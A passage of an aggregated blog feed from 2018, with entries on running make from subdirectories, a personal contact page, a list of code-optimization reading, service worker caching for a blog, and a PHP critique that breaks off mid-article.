&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;	&lt;span style="color: #a2f;"&gt;cd&lt;/span&gt; ..			&lt;span style="color: #080; font-style: italic;"&gt;# go up one dir&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #a2f; font-weight: bold;"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;You can probably figure it out quite easily from the code, but what this does is
it searches upwards until it finds a &lt;code&gt;Makefile&lt;/code&gt;, and then runs your command from
there!&lt;/p&gt;</description><author>The Technical Blog of James on purpleidea.com</author><pubDate>Sat, 10 Mar 2018 09:00:00 GMT</pubDate><guid isPermaLink="true">https://purpleidea.com/blog/2018/03/10/running-make-from-anywhere/</guid></item><item><title>Contact Me</title><link>https://johnj.com/contact/</link><description>&lt;p&gt;





&lt;a href="https://johnj.com/homecushion.jpg"&gt;&lt;img class="resize" src="https://johnj.com/homecushion_hu_8c28c72084561514.jpg" style="width: 700px; border: 0px solid black;" /&gt;&lt;/a&gt;

&lt;/p&gt;
&lt;div class="outline-2" id="outline-container-headline-1"&gt;
&lt;h2 id="headline-1"&gt;
Physical
&lt;/h2&gt;
&lt;div class="outline-text-2" id="outline-text-headline-1"&gt;
&lt;div class="src src-text"&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;John Jacobsen
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;NPX Designs, LLC.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;5341 S. Cornell Ave #3
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Chicago, IL 60615&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-2" id="outline-container-headline-2"&gt;
&lt;h2 id="headline-2"&gt;
Logical
&lt;/h2&gt;
&lt;div class="outline-text-2" id="outline-text-headline-2"&gt;
&lt;p&gt;&lt;a href="mailto:john@johnj.com"&gt;john@johnj.com&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;
Instagram: &lt;a href="https://www.instagram.com/eigenhombre/"&gt;@eigenhombre&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;
Mastodon: &lt;a href="https://mastodon.art/@eigenhombre"&gt;@eigenhombre@mastodon.art&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;
GitHub: &lt;a href="https://github.com/eigenhombre"&gt;eigenhombre&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-2" id="outline-container-headline-3"&gt;
&lt;h2 id="headline-3"&gt;
Numeric
&lt;/h2&gt;
&lt;div class="outline-text-2" id="outline-text-headline-3"&gt;
&lt;div class="src src-text"&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;+1 312 436 1522 (office/mobile/home)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;</description><author>John Jacobsen</author><pubDate>Sat, 10 Mar 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://johnj.com/contact/</guid></item><item><title>Conway Checkers</title><link>https://www.hankruiger.com/posts/conway-checkers/</link><description>A checkers-like game on an infinite board.</description><author>Han's blog</author><pubDate>Sat, 10 Mar 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://www.hankruiger.com/posts/conway-checkers/</guid></item><item><title>Your first robot: The driver [4/5]</title><link>https://kyrofa.com/posts/your-first-robot-the-driver-4-5/</link><description>UPDATE: I&amp;rsquo;m leaving this series up for historical purposes, but please note that I no longer recommend Ubuntu Core or snaps for use in robotics.
This is the fourth blog post in this series about creating your first robot with ROS and Ubuntu Core. In the previous post we worked on getting data out of the wireless controller and into ROS in a format meant for controlling differential drive robots like ours: the Twist message.</description><author>kyrofa's blog</author><pubDate>Fri, 09 Mar 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://kyrofa.com/posts/your-first-robot-the-driver-4-5/</guid></item><item><title>Collection of my favorite optimization posts and articles</title><link>https://boyter.org/2018/03/collection-favorite-optimization-posts-articles/</link><description>&lt;p&gt;A collection of my favorite posts to read and re-read about optimizing code to an extreme. Unlikely that I will ever need to go to the extremes that these very talented individuals go to but its nice to learn the techniques.&lt;/p&gt;
&lt;p&gt;In no particular order.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Announcement of Ripgrep a tool for searching code. Brilliantly written with benchmarks and analysis to explain what is happening for each &lt;a href="https://blog.burntsushi.net/ripgrep/"&gt;https://blog.burntsushi.net/ripgrep/&lt;/a&gt; the HN comments about it are worth reading as well &lt;a href="https://news.ycombinator.com/item?id=12564442"&gt;https://news.ycombinator.com/item?id=12564442&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;How Mailinator compresses email by ~90%. Very interesting use of some creative thinking and LRU caches &lt;a href="https://mailinator.blogspot.com.au/2012/02/how-mailinator-compresses-email-by-90.html"&gt;https://mailinator.blogspot.com.au/2012/02/how-mailinator-compresses-email-by-90.html&lt;/a&gt; some decent HN comments as well &lt;a href="https://news.ycombinator.com/item?id=3617074"&gt;https://news.ycombinator.com/item?id=3617074&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Searching 1TB/sec: Systems Engineering Before Algorithms. Explains how using brute force solutions to solve problems can be viable if you have enough brute and can write a tight inner loop. &lt;a href="http://blog.scalyr.com/2014/05/searching-20-gbsec-systems-engineering-before-algorithms/"&gt;http://blog.scalyr.com/2014/05/searching-20-gbsec-systems-engineering-before-algorithms/&lt;/a&gt; the HN comments for this one are also worth reading &lt;a href="https://news.ycombinator.com/item?id=7715025"&gt;https://news.ycombinator.com/item?id=7715025&lt;/a&gt; and &lt;a href="https://news.ycombinator.com/item?id=11783483"&gt;https://news.ycombinator.com/item?id=11783483&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;The Treacherous Optimization. Post about making search faster by firstly comparing to grep and analysis of how grep achieves its speed. Very amusing in the way it is written as well. &lt;a href="http://ridiculousfish.com/blog/posts/old-age-and-treachery.html"&gt;http://ridiculousfish.com/blog/posts/old-age-and-treachery.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Another from Paul Tyma of Mailinator but less about Mailinator and more about how cache misses on the CPU can impact your performance. &lt;a href="https://mailinator.blogspot.com.au/2010/02/how-i-sped-up-my-server-by-factor-of-6.html"&gt;https://mailinator.blogspot.com.au/2010/02/how-i-sped-up-my-server-by-factor-of-6.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Another from Paul (that guy is seriously smart) about the architecture of Mailinator and some tricks it employs to run on a single server (at the time). &lt;a href="https://mailinator.blogspot.com.au/2007/01/architecture-of-mailinator.html"&gt;https://mailinator.blogspot.com.au/2007/01/architecture-of-mailinator.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Improving spelling correction algorithm. Has code as well which is useful to learn from. &lt;a href="http://blog.faroo.com/2012/06/07/improved-edit-distance-based-spelling-correction/"&gt;http://blog.faroo.com/2012/06/07/improved-edit-distance-based-spelling-correction/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Profiling Ag. Writing My Own Scandir. Written by the author of ag the code searcher. &lt;a href="https://geoff.greer.fm/2012/09/03/profiling-ag-writing-my-own-scandir/"&gt;https://geoff.greer.fm/2012/09/03/profiling-ag-writing-my-own-scandir/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Another Ag post about adding threads into Ag to improve searching performance. &lt;a href="https://geoff.greer.fm/2012/09/07/the-silver-searcher-adding-pthreads/"&gt;https://geoff.greer.fm/2012/09/07/the-silver-searcher-adding-pthreads/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;LMAX Distruptor interesting collection of posts about how it works &lt;a href="https://lmax-exchange.github.io/disruptor/"&gt;https://lmax-exchange.github.io/disruptor/&lt;/a&gt; the HN comments on the Martin Fowler blog are worth looking at &lt;a href="https://news.ycombinator.com/item?id=3173993"&gt;https://news.ycombinator.com/item?id=3173993&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Regular Expression Matching with a Trigram Index or How Google Code Search Worked. &lt;a href="https://swtch.com/~rsc/regexp/regexp4.html"&gt;https://swtch.com/~rsc/regexp/regexp4.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Excellent explanation of branch prediction and its impact on how quickly your code can run. Ran into this once with searchcode and felt like a genius when I solved it. &lt;a href="https://stackoverflow.com/questions/11227809/why-is-it-faster-to-process-a-sorted-array-than-an-unsorted-array"&gt;https://stackoverflow.com/questions/11227809/why-is-it-faster-to-process-a-sorted-array-than-an-unsorted-array&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;More branch prediction, A brief history of branch prediction by Dan Luu &lt;a href="https://danluu.com/branch-prediction/"&gt;https://danluu.com/branch-prediction/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Branch prediction ahoy! &lt;a href="http://igoro.com/archive/fast-and-slow-if-statements-branch-prediction-in-modern-processors/"&gt;http://igoro.com/archive/fast-and-slow-if-statements-branch-prediction-in-modern-processors/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Why Gnu Grep is fast &lt;a href="https://lists.freebsd.org/pipermail/freebsd-current/2010-August/019310.html"&gt;https://lists.freebsd.org/pipermail/freebsd-current/2010-August/019310.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;How to write fast code &lt;a href="http://asserttrue.blogspot.com.au/2009/03/how-to-write-fast-code.html"&gt;http://asserttrue.blogspot.com.au/2009/03/how-to-write-fast-code.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Regular Expression Matching Can Be Simple And Fast (but is slow in Java, Perl, PHP, Python, Ruby, …) &lt;a href="https://swtch.com/%7Ersc/regexp/regexp1.html"&gt;https://swtch.com/%7Ersc/regexp/regexp1.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Why Writing Your Own Search Engine is Hard &lt;a href="https://queue.acm.org/detail.cfm?id=988407"&gt;https://queue.acm.org/detail.cfm?id=988407&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Effects of CPU caches &lt;a href="https://medium.com/@minimarcel/effect-of-cpu-caches-57db81490a7f"&gt;https://medium.com/@minimarcel/effect-of-cpu-caches-57db81490a7f&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Neon is the New Black: fast JPEG optimization on ARM server &lt;a href="https://blog.cloudflare.com/neon-is-the-new-black/"&gt;https://blog.cloudflare.com/neon-is-the-new-black/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Beware of cute optimizations bearing gifts. Optimisations made to a fast fuzzy file matcher in Vim &lt;a href="https://wincent.com/blog/optimization"&gt;https://wincent.com/blog/optimization&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Go code refactoring : the 23x performance hunt &lt;a href="https://medium.com/@val_deleplace/go-code-refactoring-the-23x-performance-hunt-156746b522f7"&gt;https://medium.com/@val_deleplace/go-code-refactoring-the-23x-performance-hunt-156746b522f7&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Shameless self promotion but what I went through when building scc which is a code counter similar to cloc &lt;a href="https://boyter.org/posts/sloc-cloc-code/"&gt;https://boyter.org/posts/sloc-cloc-code/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Built for Speed: Custom Parser for Regex at Scale &lt;a href="https://blog.scalyr.com/2018/08/custom-regex-parser/"&gt;https://blog.scalyr.com/2018/08/custom-regex-parser/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Gallery of Processor Cache Effects &lt;a href="http://igoro.com/archive/gallery-of-processor-cache-effects/"&gt;http://igoro.com/archive/gallery-of-processor-cache-effects/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Making the obvious code fast &lt;a href="https://jackmott.github.io/programming/2016/07/22/making-obvious-fast.html"&gt;https://jackmott.github.io/programming/2016/07/22/making-obvious-fast.html&lt;/a&gt; with interesting HN comments &lt;a href="https://news.ycombinator.com/item?id=19680595"&gt;https://news.ycombinator.com/item?id=19680595&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Optimizing M3: How Uber Halved Our Metrics Ingestion Latency by (Briefly) Forking the Go Compiler &lt;a href="https://eng.uber.com/optimizing-m3/"&gt;https://eng.uber.com/optimizing-m3/&lt;/a&gt; &lt;a href="https://news.ycombinator.com/item?id=19692451"&gt;https://news.ycombinator.com/item?id=19692451&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Linux Load Averages: Solving the Mystery &lt;a href="http://www.brendangregg.com/blog/2017-08-08/linux-load-averages.html"&gt;http://www.brendangregg.com/blog/2017-08-08/linux-load-averages.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;The state of caching in Go &lt;a href="https://blog.dgraph.io/post/caching-in-go/"&gt;https://blog.dgraph.io/post/caching-in-go/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Introducing Ristretto: A High-Performance Go Cache &lt;a href="https://blog.dgraph.io/post/introducing-ristretto-high-perf-go-cache/"&gt;https://blog.dgraph.io/post/introducing-ristretto-high-perf-go-cache/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Building a Vectorized SQL Engine. A very good read about how CPU&amp;rsquo;s work and data layouts affect it &lt;a href="https://www.cockroachlabs.com/blog/how-we-built-a-vectorized-sql-engine/"&gt;https://www.cockroachlabs.com/blog/how-we-built-a-vectorized-sql-engine/&lt;/a&gt; with Hacker News comments &lt;a href="https://news.ycombinator.com/item?id=21516322"&gt;https://news.ycombinator.com/item?id=21516322&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Writing a fast cache service in Go &lt;a href="https://allegro.tech/2016/03/writing-fast-cache-service-in-go.html"&gt;https://allegro.tech/2016/03/writing-fast-cache-service-in-go.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;qgrep internals &lt;a href="https://zeux.io/2019/04/20/qgrep-internals/"&gt;https://zeux.io/2019/04/20/qgrep-internals/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Scaling our Spreadsheet Engine from Thousands to Billions of Cells - From Maps to Arrays &lt;a href="https://www.causal.app/blog/scaling"&gt;https://www.causal.app/blog/scaling&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Will attempt to keep this list up to date as I find other content that really impresses me.&lt;/p&gt;</description><author>Ben E. C. Boyter</author><pubDate>Fri, 09 Mar 2018 00:34:02 GMT</pubDate><guid isPermaLink="true">https://boyter.org/2018/03/collection-favorite-optimization-posts-articles/</guid></item><item><title>Hosting H2O Flow and Steam</title><link>https://tricht.eu/post/hosting-h2o-flow-and-steam/</link><description>&lt;p&gt;&lt;a href="https://www.h2o.ai/" target="_blank"&gt;H2O&lt;/a&gt; is an open source machine learning platform. With H2O Flow you&amp;rsquo;re able to train models through a web interface, R or python. With H2O Steam you&amp;rsquo;re able to deploy the trained models, allowing you to call a HTTP endpoint to predict user behavior. Are you planning to host Flow and Steam on your own server? Here are a few things we learned by doing.&lt;/p&gt;</description><author>Michael van Tricht</author><pubDate>Thu, 08 Mar 2018 20:25:00 GMT</pubDate><guid isPermaLink="true">https://tricht.eu/post/hosting-h2o-flow-and-steam/</guid></item><item><title>The term 'Blockchain' is meaningless</title><link>https://ilearnt.com/blog/blockchainmeaningless/</link><description>&lt;p&gt;There seems to be no single clean definition of what &amp;ldquo;Blockchain&amp;rdquo; actually means. There are a lot of woolly statements, several of which are clearly either wrong or too narrowly focused. This article goes into some of the different definitions and why they are wrong and then the implications of this from a business but also a legal perspective.&lt;/p&gt;</description><author>I Learnt</author><pubDate>Thu, 08 Mar 2018 14:00:00 GMT</pubDate><guid isPermaLink="true">https://ilearnt.com/blog/blockchainmeaningless/</guid></item><item><title>The ultimate broken mental barrier - the four minute mile</title><link>https://ilearnt.com/blog/fourminutemile/</link><description>&lt;p&gt;I had never seen the original footage of Sir Roger Bannister running the first four minute mile. His narration of the race really adds to it as well.&lt;/p&gt;</description><author>I Learnt</author><pubDate>Thu, 08 Mar 2018 14:00:00 GMT</pubDate><guid isPermaLink="true">https://ilearnt.com/blog/fourminutemile/</guid></item><item><title>Putting back the service worker</title><link>https://qubyte.codes/blog/putting-back-the-service-worker</link><description>&lt;p&gt;In the &lt;a href="/blog/about-this-blog-3"&gt;last post about this blog&lt;/a&gt; I wrote about why
I removed the service worker which made this blog a progressive web application.&lt;/p&gt;
&lt;p&gt;The way my blog handles CSS predates the wide availability of service workers.
Since CSS link tags are blocking, it's good to give CSS a long cache time. In
order to do this, but still deliver fresh CSS without readers having to wait for
it, I give the CSS file a URI including a hash of its content. If the CSS
is updated, its URI changes, as does the &lt;code&gt;href&lt;/code&gt; of the CSS link tag in each page
of this blog.&lt;/p&gt;
&lt;p&gt;The server sends this header along with CSS it serves:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-properties"&gt;&lt;span class="hljs-attr"&gt;Cache-Control&lt;/span&gt;: &lt;span class="hljs-string"&gt;max-age=315360000, public, immutable&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The &lt;code&gt;immutable&lt;/code&gt; tells the browser the file will never change while within the
&lt;code&gt;max-age&lt;/code&gt; (so I make it very long). Chrome doesn't support &lt;code&gt;immutable&lt;/code&gt;, but does
exhibit similar behaviour. The &lt;code&gt;public&lt;/code&gt; allows proxies to similarly cache the
response.&lt;/p&gt;
&lt;p&gt;I instructed the browser not to cache HTML at all. Since the HTML was always
fresh, updated CSS would be loaded at most once on each change. The server
sends this header along with HTML:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-properties"&gt;&lt;span class="hljs-attr"&gt;Cache-Control&lt;/span&gt;: &lt;span class="hljs-string"&gt;no-cache&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Which forces it to make a fresh request for HTML each time. These headers are
still in place now (even since the move to Netlify).&lt;/p&gt;
&lt;p&gt;Unfortunately this didn't mesh well with the caching strategy of the service
worker I added. The worker would download the entire blog, HTML and CSS, the
first time a user navigated to it. The service worker was generated by
&lt;a href="https://www.npmjs.com/package/sw-precache"&gt;sw-precache&lt;/a&gt;, which I had set up to be generated every time the
blog was updated. It worked out what to add and remove from its cache based on
file hashes. Since an update to CSS&lt;sup&gt;†&lt;/sup&gt; meant changing the address in a
link header in every HTML page, it removed not only the CSS, but all the HTML
any time the CSS changed. Worse, it proactively downloaded all the updated
files.&lt;/p&gt;
&lt;p&gt;The net effect was minor CSS changes triggering a mass download of my blog. This
wasn't a good use of server or browser resources, so I removed the worker.&lt;/p&gt;
&lt;p&gt;I recently attended a &lt;a href="https://indieweb.org/Homebrew_Website_Club"&gt;Homebrew Website Club&lt;/a&gt; held by
Jeremy Keith. By chance he'd written &lt;a href="https://adactio.com/journal/13540"&gt;a blog post&lt;/a&gt; on this
issue the day before, in which he provides a &lt;em&gt;minimum viable service worker&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;This service worker caches everything lazily (no precache). When an HTML page is
requested, it always tries the network first for a fresh copy, and falls back to
the cache when necessary. For everything else it hits the cache first, but gets
an update via the network in the background.&lt;/p&gt;
&lt;p&gt;This resolves the CSS issue very nicely. Old CSS and HTML will be cached, so if
your Southern Rail train is stuck in a tunnel, you can still read
&lt;a href="/blog/test-friendly-mixins"&gt;that blog entry about mixins&lt;/a&gt; you saw earlier and
are now bored enough to take another look at. If you're stuck &lt;em&gt;outside&lt;/em&gt; of a
tunnel and I've updated the CSS&lt;sup&gt;‡&lt;/sup&gt;, the request for fresh HTML will
succeed, which will also bring in and cache the fresh CSS! For things like
images, which will probably never change, this also works well. If a change is
urgent to any file, it can still be given a fresh URL to cache bust it (though I
doubt this'll ever be necessary).&lt;/p&gt;
&lt;p&gt;I'll still need to do &lt;em&gt;some&lt;/em&gt; work though. As mentioned in that post, cleanup
isn't addressed. I'm happy for HTML to be cached indefinitely, but for the
CSS one way to clean it up might be to remove it once it is older than every
HTML entry in the cache. For particularly large resources such as images, a
relatively short cache time and good alt-text might be a good approach...&lt;/p&gt;
&lt;p&gt;In the meantime, I've borrowed the service worker code from that post mostly
unchanged (most changes are just to align it with the style enforced by my
ESLint config). The one small addition is to allow server sent events
(&lt;code&gt;EventSource&lt;/code&gt;) connections. I use these in development to hot-reload my blog
when changes are made. The original script ignores all but GET requests:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-javascript"&gt;&lt;span class="hljs-keyword"&gt;if&lt;/span&gt; (request.&lt;span class="hljs-property"&gt;method&lt;/span&gt; !== &lt;span class="hljs-string"&gt;&amp;#x27;GET&amp;#x27;&lt;/span&gt;) {
  &lt;span class="hljs-keyword"&gt;return&lt;/span&gt;;
}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;I've extended this to also ignore server sent event connections:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-javascript"&gt;&lt;span class="hljs-keyword"&gt;const&lt;/span&gt; acceptHeader = request.&lt;span class="hljs-property"&gt;headers&lt;/span&gt;.&lt;span class="hljs-title function_"&gt;get&lt;/span&gt;(&lt;span class="hljs-string"&gt;&amp;#x27;Accept&amp;#x27;&lt;/span&gt;);

&lt;span class="hljs-keyword"&gt;if&lt;/span&gt; (request.&lt;span class="hljs-property"&gt;method&lt;/span&gt; !== &lt;span class="hljs-string"&gt;&amp;#x27;GET&amp;#x27;&lt;/span&gt; || acceptHeader.&lt;span class="hljs-title function_"&gt;includes&lt;/span&gt;(&lt;span class="hljs-string"&gt;&amp;#x27;text/event-stream&amp;#x27;&lt;/span&gt;)) {
  &lt;span class="hljs-keyword"&gt;return&lt;/span&gt;;
}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;You can see the current &lt;a href="/sw.js"&gt;service worker code I'm using here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;sup&gt;†&lt;/sup&gt; I had to add some CSS to handle superscripts, such as the one used
for this footnote.&lt;/p&gt;
&lt;p&gt;&lt;sup&gt;‡&lt;/sup&gt; Perhaps the blog will be a different shade of beige...&lt;/p&gt;</description><author>Qubyte Codes</author><pubDate>Thu, 08 Mar 2018 03:20:00 GMT</pubDate><guid isPermaLink="true">https://qubyte.codes/blog/putting-back-the-service-worker</guid></item><item><title>Course Notes: The Skeptic's Guide to American History</title><link>https://solomon.io/course-notes-the-skeptics-guide-to-american-history/</link><description>By nature I’m a skeptic. Many people try to apply labels to complex topics that are not black and white.</description><author>Sam Solomon</author><pubDate>Wed, 07 Mar 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://solomon.io/course-notes-the-skeptics-guide-to-american-history/</guid></item><item><title>WITHOUT perclouds you may not do anything else right</title><link>https://stop.zona-m.net/2018/03/without-perclouds-you-may-not-do-anything-else-right/</link><description>&lt;p&gt;This is an answer to a question I just received about the &lt;a href="http://per-cloud.com/"&gt;percloud&lt;/a&gt;, my proposal for really usable alternatives to centralized social networks and services like Gmail and Facebook.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Tue, 06 Mar 2018 07:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/03/without-perclouds-you-may-not-do-anything-else-right/</guid></item><item><title>Introduction to MoneroV and its Inherent Risks</title><link>https://serhack.me/articles/introduction-to-monerov-and-its-inherent-risks/</link><description>The “MoneroV” coin is an impending unofficial fork of the &lt;a href="https://getmonero.org"&gt;Monero&lt;/a&gt; blockchain with many “red flag” characteristics that have alarmed the Monero community. Many users are wondering: could the MoneroV fork be a scam project? This article discusses risks for individuals claiming MoneroV, and describes how MoneroV opens an attack vector on the overall privacy of the Monero network itself. -&lt;a href="https://serhack.me/articles/introduction-to-monerov-and-its-inherent-risks/"&gt;Continue to read the article on SerHack.me&lt;/a&gt;</description><author>SerHack - Security Researcher</author><pubDate>Tue, 06 Mar 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://serhack.me/articles/introduction-to-monerov-and-its-inherent-risks/</guid></item><item><title>Cobalt Dungeon for Android is now available</title><link>https://thomashunter.name/posts/2018-03-06-crossover-for-android-is-now-available</link><author>Thomas Hunter II</author><pubDate>Tue, 06 Mar 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://thomashunter.name/posts/2018-03-06-crossover-for-android-is-now-available</guid></item><item><title>Understanding PHP hatred</title><link>/php-hatred/</link><description>&lt;div class="image"&gt;
	&lt;img src="../../assets/images/php.png" /&gt;
	&lt;em&gt;Pictured: The PHP developer in their natural state of silent contempt&lt;/em&gt;
&lt;/div&gt;
&lt;p&gt;It’s an age-old joke to hate on &lt;a href="https://secure.php.net/"&gt;PHP&lt;/a&gt;. But why do people dislike it so much? After all, &lt;a href="https://w3techs.com/technologies/details/pl-php/all/all"&gt;PHP powers 80% of the web&lt;/a&gt; (a large majority of that is credited to &lt;a href="https://wordpress.com/"&gt;Wordpress&lt;/a&gt;, but still). In this article I break down the main gripes of PHP development and share advice on language and system design.&lt;/p&gt;
&lt;h3&gt;Inconsistent method naming&lt;/h3&gt;
&lt;p&gt;The biggest problem people see when they first look at PHP is the inconsistency of the standard language methods. When &lt;a href="https://secure.php.net/manual/en/history.php.php"&gt;PHP was first released in 1994&lt;/a&gt; it did not have &lt;a href="https://en.wikipedia.org/wiki/Namespace"&gt;namespacing&lt;/a&gt; which meant all methods had to exist globally at the &lt;strong&gt;root&lt;/strong&gt; level. When &lt;a href="https://secure.php.net/manual/en/language.namespaces.basics.php"&gt;namespaces were finally introduced in PHP 5&lt;/a&gt;, the damage had already been done. Methods that ordinarily have been &lt;a href="https://en.wikipedia.org/wiki/Namespace"&gt;namespaced&lt;/a&gt; under it’s particular category (such as **String** or **Array**), were just plonked and prefixed with the category instead.&lt;/p&gt;
&lt;p&gt;This led to names such as &lt;a href="https://secure.php.net/manual/en/function.array-map.php"&gt;array_map&lt;/a&gt; and &lt;a href="https://secure.php.net/manual/en/function.str-repeat.php"&gt;str_repeat&lt;/a&gt;. Now that’s all well and good, but the problem is that the prefix + underscore method was not always used. Soon, there was a whole host of methods named things like &lt;a href="https://secure.php.net/manual/en/function.strtolower.php"&gt;strtolower&lt;/a&gt; and &lt;a href="https://secure.php.net/manual/en/function.ucfirst.php"&gt;ucfirst&lt;/a&gt; that broke those rules.&lt;/p&gt;
&lt;p&gt;Additionally, these method names had inconsistent usage of &lt;a href="https://en.wikipedia.org/wiki/Snake_case"&gt;snake_case&lt;/a&gt; — as is the case across most of the string methods. You have functions such as &lt;a href="https://secure.php.net/manual/en/function.strtotime.php"&gt;strtotime&lt;/a&gt; and &lt;a href="https://secure.php.net/manual/en/function.str-split.php"&gt;str_split&lt;/a&gt; — why is it not str_to_time? Who knows.&lt;/p&gt;
&lt;p&gt;Furthermore, another minor inconsistency that had escaped my notice until studying the &lt;a href="https://secure.php.net/manual/en/indexes.functions.php"&gt;list of PHP methods&lt;/a&gt;, is the usage of &lt;strong&gt;‘to’&lt;/strong&gt; and &lt;strong&gt;‘2’&lt;/strong&gt;. In some cases &lt;strong&gt;‘2’&lt;/strong&gt; was substituted into method names, presumably to look like a teenager texting on a &lt;a href="https://en.wikipedia.org/wiki/Nokia_3310"&gt;Nokia 3310&lt;/a&gt; in the early 2000’s.&lt;/p&gt;
&lt;p&gt;As a result, we now have methods such as ‘&lt;a href="https://secure.php.net/manual/en/function.bin2hex.php"&gt;bin&lt;strong&gt;2&lt;/strong&gt;hex&lt;/a&gt;’ and ‘&lt;a href="https://secure.php.net/manual/en/function.deg2rad.php"&gt;deg&lt;strong&gt;2&lt;/strong&gt;rad&lt;/a&gt;’ as well as &lt;a href="https://secure.php.net/manual/en/function.strtotime.php"&gt;str&lt;strong&gt;to&lt;/strong&gt;time&lt;/a&gt; and &lt;a href="https://secure.php.net/manual/en/function.strtolower.php"&gt;str&lt;strong&gt;to&lt;/strong&gt;lower&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;With all that said, what’s the take away for you and me? In software design, and most things, consistency is key. By having a consistent interface for programs to use both programmatically (with consistent and logical API endpoints and parameters) as well as visually (with easy-to-use but also functional UI’s), we enable more logical and clear usage for people using our UI’S and developers integrating with our API’s.&lt;/p&gt;
&lt;p&gt;Not to be too hard on the PHP developers, but it is clear that seldom thought went into planning the language or thinking about its future scope. Don’t make the same mistake. Drill down into all the little features and quirks of your system as well as ones you may add in the future. It is impossible to gear up for every eventual outcome but it is worth having that forward thinking view, so you are less likely to get tunnel visioned into “the” product. Software always changes.&lt;/p&gt;
&lt;h3&gt;Inconsistent argument orders&lt;/h3&gt;
&lt;p&gt;Another inconsistency is that of argument ordering. Arrays, dictionaries, hashes, whatever you call them, they are an integral part of any language that developers using that language will use on a daily basis and form a core part of storing and manipulating data on any system.&lt;/p&gt;
&lt;p&gt;You’d think that, being such an important part of the language, that they at least would be consistent. Unfortunately, you’d be wrong.&lt;/p&gt;
&lt;p&gt;If you’ve ever done PHP development you may have run into this issue. You’ve got an array of numbers that you want to double and then return into a new array. No problem! You say.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;“I’ll use &lt;a href="https://secure.php.net/manual/en/function.array-map.php"&gt;array_map&lt;/a&gt;!”.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;So you write the code and then run it and then…&lt;/p&gt;
